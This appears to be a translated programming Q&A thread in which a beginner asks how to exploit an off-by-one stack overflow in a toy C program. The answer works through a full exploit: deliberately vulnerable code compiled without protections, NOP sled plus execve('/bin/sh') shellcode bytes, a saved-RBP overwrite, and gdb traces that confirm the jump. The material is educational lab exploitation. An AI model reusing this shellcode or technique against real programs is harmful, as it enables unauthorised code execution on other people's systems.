有效负载

时间:2016-06-10 03:06:27

标签: c reverse-engineering exploit

所以我在以下简单代码

的帮助下尝试了Offbyone Buffer溢出
#include <string.h>

void cpy(char *x){
char buf[128]="";
strncat(buf,x,sizeof(buf));

}
int main(int argc, char **argv)
{

    cpy(argv[1]);

}

此图描绘了Offbyone缓冲区如何工作

enter image description here

取自:https://www.sans.org/reading-room/whitepapers/threats/buffer-overflows-dummies-481

这是main和cpy的反汇编 enter image description here

enter image description here

以下是我使用的有效负载 enter image description here

内存转储

enter image description here

因此,使用缓冲区,在Cpy堆栈帧中,我将保存的RBP的最低有效字节的值更改为 00 ,因为已实现Offbyone溢出通过提供精确的128byte输入

正如您所看到的,地址 0x7fffffffe177 已存储EBP,其值已从 0x7fffffffe190 更改为 0x7fffffffe100

所以我继续在地址 0x7fffffffe10F 处获得有效负载的起始地址,这也是主的返回地址 应该是 0xffffe110 0x00007fff 而不是 0xffffe110 0x90907fff ,但由于我们在有效载荷中不应该有00,因此我无法设置返回地址,因为它是64位地址长度为8字节 0xffffe110 0x00007fff

那么我们究竟应该如何获得这里的回信地址呢? 而且由于内存转储的图像,在断点1,它的cpy函数帧为什么是堆栈顶部的argc和argv []? 我是Exploit写作的新手,所有的帮助将不胜感激。

1 个答案:

答案 0 :(得分:3)

让我们首先介绍一下可以用来设置所需返回地址值而不在有效负载中传递零字节的技巧。

我已经更改了一些代码,以便更轻松地完成这项工作。这是新代码:

#include <string.h>

int i;

void cpy(char *x) {
    char buf[128];
    for (i = 0; i <= 128; ++i) {
        buf[i] = x[i];
    }
}

int main(int argc, char **argv) {
    cpy(argv[1]);
    return 0;
}

主要区别在于现在我们可以控制保存rbp的不太重要的字节的值。在您的示例中,我们只能将其设置为零。

所以这里是cpy函数的堆栈框架:

enter image description here

@rbp - 保存main函数

的基本堆栈指针

@rsp - 在cpy函数开头的堆栈指针(在push rbp之后)

诀窍是我们以@rbp = @rsp - 8的方式覆盖最后一个字节。因此,当我们从main返回时,函数$rbp将等于@rsp - 8,因此返回地址将是@rsp - 8之前的8个字节,即@rsp - 8

main返回后,我们会跳转到@rsp - 8。所以现在我们只需将jmp放在这个地址的shellcode上,我们就完成了:

enter image description here

但是在原始示例中,这个技巧无法完成,因为我们无法控制@rbp的较低有效字节的值。

还应该注意,如果@rbp@rsp的差异超过最后一个字节,则此技巧不起作用。

最后这里是利用。

使用可执行堆栈编译代码并且没有堆栈保护:

$ gcc test.c -o test -z execstack -fno-stack-protector

获取jmp到shellcode的字节代码:

$ rasm2 -a x86 -b 64 'jmp -0x50'
ebae

gdb下的漏洞利用:

$ gdb --args test $(python -c 'print "\x90" * 91 + "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" + "\xeb\xb8" + "a" * 6 + "\xc8"')

>>> b cpy
>>> b *cpy+90
>>> r
Breakpoint 1, 0x00000000004004aa in cpy ()

所以这里保存rbp

>>> x/1gx $rbp
0x7fffffffd3d0: 0x00007fffffffd3f0

rsp函数开头的cpy

>>> p/x $rsp
$1 = 0x7fffffffd3d0

rbp返回后我们想要得到的cpy的值(这就是为什么有效载荷的最后一个字节是\xc8

>>> p/x $rsp - 8
$2 = 0x7fffffffd3c8

继续cpy

的结尾
>>> c
Breakpoint 2, 0x0000000000400500 in cpy ()

cpy的Asm代码:

>>> disassemble cpy
Dump of assembler code for function cpy:
     0x00000000004004a6 <+0>:     push   rbp
     0x00000000004004a7 <+1>:     mov    rbp,rsp
     0x00000000004004aa <+4>:     sub    rsp,0x10
     0x00000000004004ae <+8>:     mov    QWORD PTR [rbp-0x88],rdi
     0x00000000004004b5 <+15>:    mov    DWORD PTR [rip+0x20046d],0x0        # 0x60092c <i>
     0x00000000004004bf <+25>:    jmp    0x4004f2 <cpy+76>
     0x00000000004004c1 <+27>:    mov    eax,DWORD PTR [rip+0x200465]        # 0x60092c <i>
     0x00000000004004c7 <+33>:    mov    edx,DWORD PTR [rip+0x20045f]        # 0x60092c <i>
     0x00000000004004cd <+39>:    movsxd rcx,edx
     0x00000000004004d0 <+42>:    mov    rdx,QWORD PTR [rbp-0x88]
     0x00000000004004d7 <+49>:    add    rdx,rcx
     0x00000000004004da <+52>:    movzx  edx,BYTE PTR [rdx]
     0x00000000004004dd <+55>:    cdqe
     0x00000000004004df <+57>:    mov    BYTE PTR [rbp+rax*1-0x80],dl
     0x00000000004004e3 <+61>:    mov    eax,DWORD PTR [rip+0x200443]        # 0x60092c <i>
     0x00000000004004e9 <+67>:    add    eax,0x1
     0x00000000004004ec <+70>:    mov    DWORD PTR [rip+0x20043a],eax        # 0x60092c <i>
     0x00000000004004f2 <+76>:    mov    eax,DWORD PTR [rip+0x200434]        # 0x60092c <i>
     0x00000000004004f8 <+82>:    cmp    eax,0x80
     0x00000000004004fd <+87>:    jle    0x4004c1 <cpy+27>
     0x00000000004004ff <+89>:    nop
  => 0x0000000000400500 <+90>:    leave
     0x0000000000400501 <+91>:    ret
End of assembler dump.

rbp之后leave的值:

>>> ni
>>> p/x $rbp
$1 = 0x7fffffffd3c8

执行到main

结尾
>>> ni
>>> ni
>>> ni
>>> disassemble
Dump of assembler code for function main:
     0x0000000000400502 <+0>:     push   rbp
     0x0000000000400503 <+1>:     mov    rbp,rsp
     0x0000000000400506 <+4>:     sub    rsp,0x10
     0x000000000040050a <+8>:     mov    DWORD PTR [rbp-0x4],edi
     0x000000000040050d <+11>:    mov    QWORD PTR [rbp-0x10],rsi
     0x0000000000400511 <+15>:    mov    rax,QWORD PTR [rbp-0x10]
     0x0000000000400515 <+19>:    add    rax,0x8
     0x0000000000400519 <+23>:    mov    rax,QWORD PTR [rax]
     0x000000000040051c <+26>:    mov    rdi,rax
     0x000000000040051f <+29>:    call   0x4004a6 <cpy>
     0x0000000000400524 <+34>:    mov    eax,0x0
     0x0000000000400529 <+39>:    leave
  => 0x000000000040052a <+40>:    ret
End of assembler dump.
>>> ni

现在我们在@rsp - 8,这是我们jmp的shellcode:

>>> disassemble $rip,+2
Dump of assembler code from 0x7fffffffd3c8 to 0x7fffffffd3ca:
=> 0x00007fffffffd3c8:  jmp    0x7fffffffd382
End of assembler dump.

最后是shellcode:

>>> ni
>>> disassemble $rip,+0x50
Dump of assembler code from 0x7fffffffd382 to 0x7fffffffd3d2:
=> 0x00007fffffffd382:  nop
   0x00007fffffffd383:  nop
   0x00007fffffffd384:  nop
   0x00007fffffffd385:  nop
   ...
   0x00007fffffffd3ab:  xor    rdi,rdi
   0x00007fffffffd3ae:  push   rdi
   0x00007fffffffd3af:  push   rdi
   0x00007fffffffd3b0:  pop    rsi
   0x00007fffffffd3b1:  pop    rdx
   0x00007fffffffd3b2:  movabs rdi,0x68732f6e69622f2f
   0x00007fffffffd3bc:  shr    rdi,0x8
   0x00007fffffffd3c0:  push   rdi
   0x00007fffffffd3c1:  push   rsp
   0x00007fffffffd3c2:  pop    rdi
   0x00007fffffffd3c3:  push   0x3b
   0x00007fffffffd3c5:  pop    rax
   0x00007fffffffd3c6:  syscall